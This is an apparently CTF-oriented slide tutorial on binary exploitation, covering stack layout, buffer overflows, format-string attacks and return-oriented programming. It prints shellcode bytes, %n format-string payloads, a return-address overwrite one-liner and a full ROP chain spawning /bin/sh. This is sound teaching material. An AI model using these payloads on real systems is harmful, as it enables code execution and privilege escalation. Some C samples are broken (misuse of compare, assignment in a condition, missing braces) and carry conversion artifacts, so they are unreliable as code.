## what the fuck is binary exploitation

## what is binary exploitation?

breaking the boundaries on a compiled application

## whats the point?

#### some goals:

- get information off the machine
- execute arbitrary code
- escalate to a higher privileged user

## memory H


## memory layout of c program

#### stack

- place where all the function parameters, return addresses and the local variables of the function are stored
- grows downward

#### heap

- all the dynamically allocated memory resides here. (malloc)
- the heap grows upwards in memory



## registers

## common registers

- %eip instruction pointer registers
  - it stores the address of the next instruction to be executed
- %esp stack pointer register
  - it stores the address of the top of the stack.
- %ebp base pointer register
  - keeps tab of function parameters and local variables


## step-by-step execution

- 1. Parameters are pushed onto stack
- 2. Push addr of *next instruction on to stack*
- 3. set %eip to func
- 4. push %ebp to stack
- 5. set %ebp to %esp
- 6. Push local variables
- 7. after func, set %esp back to %ebp, then pop %ebp
- 8. pop return address from stack and set to %eip

```
void func(int a, int b) {
  int c;
  int d;
  // some code
}

void main() {
  func(1, 2);
  // next instruction
}
```

## the importance of the stack



everything important to the program is usually in here

## stack broken tho

### buffer overflow

buffer overflow is a vulnerability in low level codes of C and C++

basically means to access any buffer outside of it's alloted memory space

```
void echo() {
  char buffer[20];
  printf("Enter some text:\n");
  scanf("%s", buffer);
  printf("You entered: %s\n", buffer);
}
int main() {
  echo();
  return 0;
}
```

## how do reasonally do this

```
gets()
scanf()
strcpy()
strcat()
```

there are more, but these are common ones in CTFs. they don't always check for bounds

## we can execute code 😉

shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability

usually prewritten – shell-storm.org


```
char code[] =
"\x31\xc0\x48\xbb\xd1\x9d\x9
6\x91\xd0\x8c\x97\xff\x48\xf
7\xdb\x53\x54\x5f\x99\x52\x5
7\x54\x5e\xb0\x3b\x0f\x05";
```



## shellcode broke tho ©

#### ASLR

- Map your heap and stack randomly
  - At each execution, your heap and stack will be mapped at different places. It is pseudo-random, so it mitigates, but not absolves attacks.



### Data Execution Prevention

- DEP forces certain structures to marked as non-executable i.e.
   the stack can no longer run code
- NX bit is an extension of DEP by giving hardware support for this
- If the NX bit is enabled, anytime the CPU tries to execute something without a NX bit it'll raise an exception
  - the NX bit is saved in the paging table

## talk about rewrting stack ©

instead of trying to add code, we could try changing the code....

in this example, we could just change auth ourselves

```
void auth() {
 int auth = 0;
  char buffer[24];
  scanf("%s", buffer);
  if (buffer.compare("secret") == 0) {
    auth = 100;
 if (auth = 100) {
   root();
```

## example

```
void auth() {
  int auth = 0;
  char buffer[24];
  scanf("%s", buffer);
  if (buffer.compare("secret") == 0) {
    auth = 100;
  if (auth = 100) {
    root();
```

- 1. Find the buffer size
- 2. Find the offset of what you want to attack (auth)
- 3. Find the goal (100)
- 4. Combine

## how to analyze

```
080484bd <echo>:
80484bd:
             55
                                  push
                                        %ebp
80484be:
             89 e5
                                        %esp,%ebp
                                  mov
80484c0:
             83 ec 38
                                  sub
                                        $0x38, %esp
80484c3: c7 04 24 dd 85 04 08 movl
                                        $0x80485dd,(%esp)
80484ca:
             e8 91 fe ff ff
                                  call
                                        8048360 <puts@plt>
80484cf:
             8d 45 e4
                                         -0x1c(%ebp),%eax
                                  lea
80484d2:
             89 44 24 04
                                        %eax.0x4(%esp)
                                  mov
80484d6:
             c7 04 24 ee 85 04 08
                                  movl
                                        $0x80485ee,(%esp)
80484dd:
             e8 ae fe ff ff
                                  call
                                        8048390 < isoc99 scanf@plt>
             8d 45 e4
                                         -0x1c(%ebp),%eax
80484e2:
                                  lea
             89 44 24 04
                                        %eax,0x4(%esp)
80484e5:
                                  mov
80484e9:
             c7 04 24 f1 85 04 08
                                  movl
                                        $0x80485f1,(%esp)
                                        8048350 <printf@plt>
80484f0:
             e8 5b fe ff ff
                                  call
80484f5:
             c9
                                  leave
80484f6:
             c3
                                  ret
```

38 in hex or 56 in decimal bytes are reserved for the local variables of echo function.

The address of buffer starts 1c in hex or 28 in decimal bytes before %ebp. This means that 28 bytes are reserved for buffer even though we asked for 20 bytes.

## format strings

```
int main(int argc, char argv[]){
   char buff[256];

  strcpy(buff, argv[1], 200);
  printf(buff);

  return 0;
}
```

What's wrong with this code?

#### printf has some unfortunate design

- %x prints hex
- %8\$x prints 8th value on stack
- \xe0\x85\x04\x08%x%x%x%s put 0x080485e0 on stack, and then print value at that address
- %n writes # of characters written to variable
- \x10\x01\x48\x08%x%x%x%x%n put 0x08480110 on stack, then write value at that address

https://github.com/patil215/isss-challenges/blob/master/ctf-09-28-2018/leetname/given.c

# what about rewriting the return address

## example

```
void root() {
   system("/bin/sh");
}

void auth() {
   char buffer[24];
   scanf("%s", buffer);

   if (buffer.compare("secret") == 0) {
      root();
   }
}
```

- 1. Find the stack size
- 2. Find the offset of what you want to attack (return address)
- 3. Find the goal (root addr)
- 4. Combine

```
payload: python -c 'print "a"*28 + "\x00\x00\x00\x00"' | ./vuln
```


# whoa...what if we expanded on this

# return oriented programming

## what is rop

chain gadgets to execute malicious code

goal: use their code against them



## what the heck is a gadget

collection of assembly instruction that end in ret

example:

```
pop %ecx; ret
xchg %eax %eax; ret
```


## why use rop

gadgets are mainly located on segments without aslr and on pages marked as executables

it can bypass the aslr ≪

it can bypass the nx bit ≪

### Plan our ROP attack




### attack on x86

gadget1 is executed and returns gadget2 is executed and returns gadget3 is executed and returns

the real execution is:

pop eax
xor edx,edx
inc ecx



## how do we find gadgets?

- several ways to find gadgets:
  - not ideal: objdump and grep
    - does not find every gadget: objdump aligns instructions
  - write your own tool which scans an executable segment
    - drakenothanks.jpg
  - use an existing tool
    - drakeheckyes.jpg

## gadget-finding tools

- rp++ by alex souchet
- ropeme by long le dinh
- ropc by patkt
- **nrop** by aurelien wailly
- ropgadget by jonathan salwan

## rop chain generation

#### objective:

```
int execve(const char *filename, char *const argv[], char *const envp[]);
```

- 1. write-what-where gadgets
  - write /bin/sh in memory
- 2. init syscall number gadgets
  - setup execve syscall number
- 3. init syscall arguments gadgets
  - setup execve arguments
- 4. syscall gadgets
  - find syscall interrupt
- 5. build the rop chain
  - build the python payload

## Step 1 Write-what-where gadgets

```
- Step 1 -- Write-what-where gadgets
[+] Gadget found: 0x80798dd mov dword ptr [edx], eax ; ret
[+] Gadget found: 0x8052bba pop edx ; ret
[+] Gadget found: 0x80a4be6 pop eax ; ret
[+] Gadget found: 0x804aae0 xor eax, eax ; ret
```

- The edx register is the destination
- The eax register is the content
- xor eax, eax is used to put the null byte at the end

## Step 2 Init syscall number gadgets

```
    Step 2 -- Init syscall number gadgets
        [+] Gadget found: 0x804aae0 xor eax, eax; ret
        [+] Gadget found: 0x8048ca6 inc eax; ret
```

- xor eax, eax is used to initialize the context to zero
- inc eax is used 11 times to setup the exceve syscall number

## Step 3 Init syscall arguments gadgets

```
- Step 3 -- Init syscall arguments gadgets
[+] Gadget found: 0x8048144 pop ebx; ret
[+] Gadget found: 0x80c5dd2 pop ecx; ret
[+] Gadget found: 0x8052bba pop edx; ret
```

```
int execve(const char *filename, char *const argv[], char *const envp[]);
```

pop ebx is used to initialize the first argument (filename) pop ecx is used to initialize the second argument (argv[]) pop edx is used to initialize the third argument (envp[])

## Step 4 Syscall gadget

```
- Step 4 -- Syscall gadget
[+] Gadget found: 0x8048ca8 int 0x80
```

int 0x80 is used to raise a syscall exception

# Step 5 Build the ROP chain

```
p += pack('<I', 0x08052bba) # pop edx ; ret
p += pack('<I', 0x080cd9a0) # @ .data</pre>
p += pack('<I', 0x080a4be6) \# pop eax ; ret
p += '/bin'
p += pack('<I', 0x080798dd) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08052bba) # pop edx ; ret
p += pack('<I', 0x080cd9a4) # @ .data + 4
p += pack('<I', 0x080a4be6) \# pop eax ; ret
p += '//sh'
p += pack('<I', 0x080798dd) \# mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08052bba) \# pop edx ; ret
p += pack('<I', 0x080cd9a8) # @ .data + 8</pre>
p += pack('<I', 0x0804aae0) # xor eax, eax ; ret
p += pack('<I', 0x080798dd) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08048144) \# pop ebx ; ret
p += pack('<I', 0x080cd9a0) # @ .data
p += pack('<I', 0x080c5dd2) # pop ecx ; ret
p += pack('<I', 0x080cd9a8) # @ .data + 8
p += pack('<I', 0x08052bba) \# pop edx ; ret
p += pack('<I', 0x080cd9a8) # @ .data + 8
p += pack('<I', 0x0804aae0) # xor eax, eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret</pre>
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca8) # int 0x80
```

## thank u for coming